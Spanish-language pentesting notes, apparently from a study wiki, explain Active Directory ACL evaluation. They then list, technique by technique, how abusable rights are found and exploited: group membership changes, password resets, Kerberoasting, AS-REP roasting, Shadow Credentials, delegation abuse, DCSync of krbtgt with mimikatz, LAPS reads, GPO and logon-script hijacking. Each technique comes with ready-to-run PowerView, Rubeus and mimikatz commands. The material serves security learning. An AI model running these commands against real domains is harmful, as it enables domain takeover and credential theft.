ACL

Modelo de Control de Acceso

  • Access token: lo que lleva tu proceso/hilo (SID del usuario + SIDs de grupos + privilegios).

  • Security Descriptor del objeto:

    • Owner SID

    • DACL (quién puede/qué puede)

    • SACL (qué se audita: éxitos/fallos)

  • Evaluación DACL (cómo decide Windows):

    1. Se procesan las ACE en orden canónico: denegaciones explícitas → permisos explícitos → heredadas.

    2. Si una deny encaja (por usuario/grupo), bloquea, aunque haya “allow” más abajo (como en la imagen de Andrew).

    3. Si no hay deny aplicable, se buscan “allow” que cubran el acceso solicitado.

  • Tipos de ACE que nos interesan para escalada: GenericAll, GenericWrite, WriteDacl, WriteOwner, Owner, AllExtendedRights, AddMember (en grupos), derechos específicos como DCSync (replication-*).

¿Por qué importan las ACLs?

Porque permisos delegados o mal configurados crean caminos a:

  • Añadirte a un grupo (p. ej., AddMember sobre un grupo privilegiado).

  • Resetear contraseñas (extended right sobre usuarios).

  • Cambiar DACL/Owner (persistencia/PE).

  • DCSync (replicar hashes del dominio si tienes las 2–3 rights de replicación sobre el root).

Herramientas que mapean ACLs con acciones

Identificación y explotación de ACLs

Añadirse a un grupo privilegiado

Derechos

  • Sobre el grupo objetivo: WriteProperty del atributo member o AddMember (Extended Right), o GenericWrite/GenericAll.

Enumeración

  • PowerView: Find-InterestingDomainAcl -ResolveGUIDs (filtra por AddMember, GenericWrite, GenericAll).

  • Específico: Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs y buscar tu identidad en las ACE.

  • BloodHound: busca aristas AddMember/GenericWrite/GenericAll hacia ese grupo.

Explotación

  • PowerView: Add-DomainGroupMember -Identity "Domain Admins" -Members <tú> (o añade primero permisos con Add-DomainObjectAcl si tienes WriteDacl).


Resetear contraseña de otro usuario (sin conocer la actual)

Derechos

  • Sobre el usuario objetivo: Extended Right Reset Password (o AllExtendedRights/GenericAll).

Enumeración

  • PowerView: Find-InterestingDomainAcl -ResolveGUIDs (filtra por ResetPassword / AllExtendedRights).

  • ADModule (visión cruda): (Get-Acl 'AD:\CN=victim,...').Access y buscar el derecho (sin resolución de GUID).

Explotación

  • PowerView: Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)


Kerberoast escribiendo un SPN en una cuenta que controlas

Derechos

  • Sobre esa cuenta (usuario/computer): WriteProperty de servicePrincipalName (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName <cuenta> -ResolveGUIDs (busca servicePrincipalName).

  • BloodHound: edge GenericWrite sobre la cuenta.

Explotación

  • PowerView: Set-DomainObject -Identity <cuenta> -Set @{'servicePrincipalName'='app/http/srv'}

  • Luego: Rubeus kerberoast para obtener y crackear el TGS.


AS-REP Roast (deshabilitar preauth en una víctima)

Derechos

  • Sobre el usuario objetivo: WriteProperty de userAccountControl (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs (mira userAccountControl).

Explotación

  • PowerView: Set-DomainObject -Identity victim -Xor @{'useraccountcontrol'=4194304} (bit DONT_REQ_PREAUTH)

  • Rubeus asreproast para capturar AS-REP y crackear.


Shadow Credentials (PKINIT sin contraseña)

Derechos

  • Sobre el usuario/objeto objetivo: WriteProperty de msDS-KeyCredentialLink (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs (buscar msDS-KeyCredentialLink).

Explotación

  • Herramientas: Whisker / funciones para KeyCredentialLink → añades tu clave.

  • Luego TGT via PKINIT (Rubeus /pkinit) y suplantas esa identidad.


RBCD (Delegación basada en recurso)

Derechos

  • Sobre el equipo recurso (TARGET$): WriteProperty de msDS-AllowedToActOnBehalfOfOtherIdentity (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName TARGET$ -ResolveGUIDs (buscar ese atributo).

Explotación

  • Crea/comanda una cuenta máquina que controles (Powermad New-MachineAccount o una ya tuya).

  • Escribe el msDS-AllowedToActOnBehalfOfOtherIdentity del TARGET$ con el SID de tu máquina.

  • Rubeus s4u: Rubeus s4u /user:ATTACKER$ /aes256:<key> /impersonateuser:DA /msdsspn:cifs/TARGET

Constrained Delegation (clásica)

Derechos

  • Sobre la cuenta delegante (user/computer): WriteProperty de msDS-AllowedToDelegateTo (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName delegatingAcct -ResolveGUIDs.

Explotación

  • Añade SPNs de destino a msDS-AllowedToDelegateTo.

  • Rubeus s4u para S4U2Self/S4U2Proxy y obtener TGS de servicios remotos.


DCSync (replicar hashes del dominio)

Derechos

  • Sobre la raíz del dominio (y a veces Config): Extended Rights DS-Replication-Get-Changes, …-All, (y en algunos entornos …-In-Filtered-Set).

Enumerar

  • PowerView (sobre root DN): (Get-Domain).DistinguishedName | % { Get-DomainObjectAcl -SearchBase ("LDAP://"+$_) -ResolveGUIDs } | ? { $_.ObjectAceType -match 'Replicat' }

  • BloodHound: Find Principals with DCSync Rights.

Explotar

  • mimikatz "lsadump::dcsync /domain:corp.local /user:krbtgt"

  • o secretsdump.py (Impacket).


Tomar propiedad / abrir DACL de un objeto y luego concederme todo

Derechos

  • WriteOwner o ser Owner del objeto → asumir propiedad.

  • WriteDacl → modificar la DACL y darme GenericAll.

Enumeración

  • Find-InterestingDomainAcl -ResolveGUIDs (filtra por WriteOwner/WriteDacl).

Explotación

  • Set-DomainObjectOwner -Identity "CN=Target,..." -Owner <yo>

  • Add-DomainObjectAcl -TargetIdentity "CN=Target,..." -PrincipalIdentity <yo> -Rights All


LAPS (leer la contraseña local admin de equipos gestionados)

Derechos

  • Sobre equipos: permiso de lectura de atributo ms-Mcs-AdmPwd / ms-Mcs-AdmPwdExpirationTime.

Enumeración

  • Get-DomainObjectAcl -SearchBase "LDAP://OU=Equipos,..." -ResolveGUIDs (buscar lectura sobre esos atributos).

Explotación

  • ADModule: Get-ADComputer PC01 -Properties ms-Mcs-AdmPwd | Select -Expand ms-Mcs-AdmPwd

  • Accede por SMB/WinRM con esa contraseña (privilegios locales → escalar lateralmente).


Derechos

  • Sobre la OU: WriteProperty de gPLink (o GenericWrite/GenericAll).

  • Para editar el GPO: derechos sobre el objeto GPO y escritura en SYSVOL del GPO.

Enumeración

  • OU: Get-DomainObjectAcl -Identity "OU=Servers,..." -ResolveGUIDs (buscar gpLink).

  • GPO: ACL de CN={GUID},CN=Policies,... y permisos NTFS en \\<dc>\SYSVOL\....

Explotación

  • Herramienta: SharpGPOAbuse (crear Scheduled Task/Local Admin vía GPP).

  • O modificar gPLink para enganchar tu GPO ya preparado.


Cambiar logon script / profile path de una víctima (ejecución en su contexto)

Derechos

  • Sobre el usuario: WriteProperty de scriptPath / homeDrive/homeDirectory / profilePath.

Enumeración

  • Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs.

Explotación

  • Set-DomainObject -Identity victim -Set @{'scriptPath'='\\server\share\run.cmd'}

  • Script se ejecutará en su próximo logon.


Agregar SPNs a equipos (abuso de cuentas máquina)

Derechos

  • Sobre el equipo: WriteProperty de servicePrincipalName (o GenericWrite/GenericAll).

Enumeración

  • Get-DomainObjectAcl -SamAccountName PC01$ -ResolveGUIDs.

Explotación

  • Set-DomainObject -Identity PC01$ -Set @{'servicePrincipalName'='cifs/otrohost'}

  • Útil para ciertos flujos de delegación/roasting.

Última actualización